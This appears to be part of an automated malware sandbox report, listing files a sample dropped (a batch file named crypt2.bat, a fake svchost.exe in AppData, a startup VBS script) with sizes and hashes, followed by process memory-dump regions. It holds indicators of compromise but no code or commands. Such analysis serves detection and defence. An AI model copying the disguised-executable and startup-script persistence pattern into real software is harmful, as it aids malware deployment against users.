9c26110bda863fd912322c83d2f31f434ce84386e63dc27e0016e5891f20fff349a325e3932a96582f4f1d4f3e07e0a861c10b69c0553178660db3c895e73342

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
48f2cc1c7b383956adb3541d1ec70618

SHA1
ac4e6078db0631c6a1d89be55f8221c71e13a892

SHA256
e090600533defab395a5ded3b9edf779ead10391ef9281e421c0a99a15015958

SHA512
27c61042e77123678d7fdcac937e209d62e057066a844ba3cdae257ba4df4e28db46bb9693b50ea6be9d15c9d15b5eb6e6b6159a3c86c14818b16fc00bcf828e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
eee1b612d5999331562637dda0ca6b44

SHA1
6cf776141d5df2e4020288f0e05c7a04d6adcad0

SHA256
c846ea8ea3ca2e4bce0c095d3da951c1dc3c5a4e59fba7531b6cb58be9f73ed7

SHA512
537570459c5a593d3b95d2cfbd3aeff72b227c094fdca0cdd7196cffda17ec651c55115367d7b6debb629c1eb1dd9d40e2f44dd00822d47fcadf4682d244b592

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
86965cd2847776bef8033c3996f42309

SHA1
fcb68a9e260e4d7140c1310b7addf6dc2c9b3a9b

SHA256
a83e4c0011d22c19a872d38f2f40a011f1c0407c3e6f9ffd32a9359c738335f6

SHA512
8659702b5c4f986e6e1343959eb9ec01933af45c1e064c71755954c20ab525020fed1a055105c85eb3c6ee16e3afcb7130e8587447758e38415bda83fd873409

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_duvrkvwv.cn0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\crypt2.bat

Filesize
270KB

MD5
3ea84c5d84c23aa2336ad19120ca2f69

SHA1
89f8c3ce7dff799df989d77b0589faeacf29577a

SHA256
c96331a38563d38ce6ae9f99294c0b39a595275cfdaf1ea85f91f693a7c302e6

SHA512
6aa2bf0d81b3fc103333e242492724dbfb45acb7ca5fd3289360bb7cff09d0bd524537570bc353f7ca92fb2e064aacdd3ee7e0a2fa4259b12056301050b8000f

Download Submit
C:\Users\Admin\AppData\Local\Temp\tool\Armdot Deobf.exe

Filesize
22KB

MD5
e949a85cefc515f6d281a64a322e575a

SHA1
05cbb24ee6b77d47ed6b839d446d60c8bc9ffe83

SHA256
66ae316114440dc776171193df2af2ce768a3da53b84759ad72209d3ecd73274

SHA512
a4a047bbbe8383601db9bfe0b6390559032ba475ce8bb6790720c18b1577c4bd7831f68d69fac6f14721d651d84316d740ef0dc58a2ba34f31870ba9957193f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\tool\cmd.exe

Filesize
316KB

MD5
428cec6b0034e0f183eb5bae887be480

SHA1
7140caf2a73676d1f7cd5e8529db861f4704c939

SHA256
3f6aa206177bebb29fc534c587a246e0f395941640f3f266c80743af95a02150

SHA512
509b8c138c4928524b4830488a96bd7e4bc7db2c494b10c68e1edcf7d901879126168eaa6635818d29734540f8400e376e5716a3b4dc052cba4e267bbaad7253

Download Submit
C:\Users\Admin\AppData\Local\svchost.exe

Filesize
423KB

MD5
c32ca4acfcc635ec1ea6ed8a34df5fac

SHA1
f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

SHA256
73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

SHA512
6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Spelling\en-US\default.dic

Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_799.vbs

Filesize
115B

MD5
2b343a64835d36c40a6f99b6687e360d

SHA1
66461f2d28d58e45fd44ed265446c702010ef4ed

SHA256
aa8f6139cc6bdc8ca03228c1f99e93bdb02f1cc55b3cf92f23263dc96f7f7916

SHA512
fa4f709f462dc522e661cb3c95554d3fad5b5982d4d40e6af3f35adaaff494ec7cc64d82e3cc9dd939353e2b6cfdbc03f8f10c770c3145a967f5ce3fef84d337

Download Submit
memory/224-87-0x0000000007940000-0x00000000079DC000-memory.dmp

Filesize
624KB

Download
memory/224-86-0x0000000007890000-0x00000000078A0000-memory.dmp

Filesize
64KB

Download
memory/1532-191-0x00000000709E0000-0x0000000070A2C000-memory.dmp

Filesize
304KB

Download
memory/2604-52-0x0000000007020000-0x000000000703E000-memory.dmp

Filesize
120KB

Download
memory/2604-59-0x0000000074BC0000-0x0000000075370000-memory.dmp

Filesize
7.7MB

Download
memory/2604-29-0x0000000074BC0000-0x0000000075370000-memory.dmp

Filesize
7.7MB

Download
memory/2604-30-0x0000000074BC0000-0x0000000075370000-memory.dmp

Filesize
7.7MB

Download
memory/2604-40-0x0000000074BC0000-0x0000000075370000-memory.dmp

Filesize
7.7MB

Download
memory/2604-41-0x0000000007040000-0x0000000007072000-memory.dmp

Filesize
200KB

Download
memory/2604-42-0x00000000709E0000-0x0000000070A2C000-memory.dmp

Filesize
304KB

Download
memory/2604-53-0x0000000007090000-0x0000000007133000-memory.dmp

Filesize
652KB

Download
memory/2604-54-0x0000000007220000-0x000000000722A000-memory.dmp

Filesize
40KB

Download
memory/2604-55-0x0000000007450000-0x00000000074E6000-memory.dmp

Filesize
600KB

Download
memory/2604-56-0x00000000073C0000-0x00000000073D1000-memory.dmp

Filesize
68KB

Download
memory/2612-24-0x0000000006A00000-0x0000000006A1A000-memory.dmp

Filesize
104KB

Download
memory/2612-6-0x0000000074BC0000-0x0000000075370000-memory.dmp

Filesize
7.7MB

Download
memory/2612-4-0x0000000074BCE000-0x0000000074BCF000-memory.dmp

Filesize
4KB

Download
memory/2612-81-0x0000000074BC0000-0x0000000075370000-memory.dmp

Filesize
7.7MB

Download
memory/2612-80-0x0000000074BC0000-0x0000000075370000-memory.dmp

Filesize
7.7MB

Download
memory/2612-69-0x0000000074BC0000-0x0000000075370000-memory.dmp

Filesize
7.7MB

Download
memory/2612-68-0x0000000074BCE000-0x0000000074BCF000-memory.dmp

Filesize
4KB

Download
memory/2612-5-0x0000000002F50000-0x0000000002F86000-memory.dmp

Filesize
216KB

Download
memory/2612-7-0x0000000005720000-0x0000000005D48000-memory.dmp

Filesize
6.2MB

Download
memory/2612-25-0x00000000075E0000-0x00000000075E8000-memory.dmp

Filesize
32KB

Download
memory/2612-8-0x0000000005580000-0x00000000055A2000-memory.dmp

Filesize
136KB

Download
memory/2612-10-0x0000000005690000-0x00000000056F6000-memory.dmp

Filesize
408KB

Download
memory/2612-9-0x0000000005620000-0x0000000005686000-memory.dmp

Filesize
408KB

Download
memory/2612-20-0x0000000005F10000-0x0000000006264000-memory.dmp

Filesize
3.3MB

Download
memory/2612-21-0x0000000006420000-0x000000000643E000-memory.dmp

Filesize
120KB

Download
memory/2612-22-0x0000000006460000-0x00000000064AC000-memory.dmp

Filesize
304KB

Download
memory/2612-23-0x0000000007C60000-0x00000000082DA000-memory.dmp

Filesize
6.5MB

Download
memory/2612-27-0x00000000082E0000-0x0000000008884000-memory.dmp

Filesize
5.6MB

Download
memory/2612-26-0x0000000007640000-0x00000000076A2000-memory.dmp

Filesize
392KB

Download
memory/3148-110-0x00000000063D0000-0x00000000065E4000-memory.dmp

Filesize
2.1MB

Download
memory/3148-108-0x0000000005870000-0x0000000005902000-memory.dmp

Filesize
584KB

Download
memory/3148-109-0x0000000005820000-0x000000000582A000-memory.dmp

Filesize
40KB

Download
memory/3148-107-0x0000000000F70000-0x0000000000F7C000-memory.dmp

Filesize
48KB

Download
memory/3376-135-0x0000000007150000-0x0000000007158000-memory.dmp

Filesize
32KB

Download
memory/3376-134-0x0000000007160000-0x000000000717A000-memory.dmp

Filesize
104KB

Download
memory/3376-133-0x0000000007120000-0x0000000007134000-memory.dmp

Filesize
80KB

Download
memory/3376-132-0x0000000007110000-0x000000000711E000-memory.dmp

Filesize
56KB

Download
memory/3376-131-0x00000000070E0000-0x00000000070F1000-memory.dmp

Filesize
68KB

Download
memory/3376-130-0x0000000006DA0000-0x0000000006E43000-memory.dmp

Filesize
652KB

Download
memory/3376-120-0x00000000709E0000-0x0000000070A2C000-memory.dmp

Filesize
304KB

Download
memory/3672-170-0x00000000709E0000-0x0000000070A2C000-memory.dmp

Filesize
304KB

Download
memory/5008-149-0x00000000709E0000-0x0000000070A2C000-memory.dmp

Filesize
304KB

Download